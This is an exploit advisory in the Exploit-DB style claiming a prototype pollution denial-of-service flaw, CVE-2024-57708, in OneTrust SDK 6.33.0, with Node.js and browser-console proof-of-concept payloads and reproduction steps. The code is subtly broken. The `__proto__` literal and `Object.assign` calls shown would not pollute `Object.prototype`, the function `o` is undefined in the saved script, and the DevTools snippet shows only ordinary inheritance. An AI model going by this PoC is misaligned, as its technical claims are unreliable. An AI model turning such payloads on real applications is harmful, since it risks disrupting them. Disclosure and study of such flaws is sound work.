OneTrust SDK 6.33.0 - Denial Of Service (DoS)

- **Exploit Title**: OneTrust SDK 6.33.0 - Denial Of Service (DoS)
- **Date**: 01/01/2025
- **Exploit Author**: Alameen Karim Merali
- **Vendor Homepage**: [OneTrust JavaScript API](https://developer.onetrust.com/onetrust/docs/javascript-api)
- **Software Link**: [otBannerSdk.js v6.33.0](https://discord.com/assets/oneTrust/v4/scripttemplates/6.33.0/otBannerSdk.js)
- **Version**: 6.33.0
- **Tested on**: Kali Linux
- **CVE ID**: CVE-2024-57708

## Vulnerability Summary

A vulnerability exists in **OneTrust SDK v6.33.0** that allows an attacker to perform **Prototype Pollution** via the misuse of `Object.setPrototypeOf` and `Object.assign`. An attacker can inject malicious properties into the prototype chain, potentially causing **Denial of Service (DoS)** or altering the behavior of inherited objects throughout the application.

## Technical Details

The affected code includes prototype assignment logic such as:

```javascript
var o = function(e, t) {
  return (o = Object.setPrototypeOf || { __proto__: [] } instanceof ...);
};
```

If the `t` argument (a user-supplied object) contains a `__proto__` or `constructor.prototype` reference, it can pollute `Object.prototype` globally.

## Proof-of-Concept (PoC)

```javascript
function testPrototypePollution() {
  const maliciousPayload = {
    "__proto__": {
      polluted: "yes"
    }
  };

  // Using vulnerable function 'o'
  try {
    o({}, maliciousPayload);
    console.log("After o:", {}.polluted); // "yes"
  } catch (e) {
    console.error("Error testing o:", e);
  }

  // Using Object.assign
  try {
    Object.assign({}, maliciousPayload);
    console.log("After Object.assign:", {}.polluted); // "yes"
  } catch (e) {
    console.error("Error testing Object.assign:", e);
  }

  // Cleanup
  delete Object.prototype.polluted;
}
testPrototypePollution();
```

## Browser Console PoC (DevTools)

```javascript
var maliciousObj = { __proto__: { hacked: true } };
var newObj = Object.create(maliciousObj);
console.log(newObj.hacked); // true
```

Screenshot: [PoC Screenshot](https://ibb.co/B2hyYr5v)

## Steps to Reproduce

1. Save the PoC script above as `exploit.js`
2. Run using Node.js: `node exploit.js`
3. Observe polluted output (`{}.polluted === "yes"`)
4. Alternatively, run the payload in browser DevTools

## Impact

- Global object pollution
- Application logic errors
- Potential DoS
- Further exploitation depending on context

## Recommendation

Developers should upgrade to a patched version and sanitize any user input used in object merging or prototype manipulation.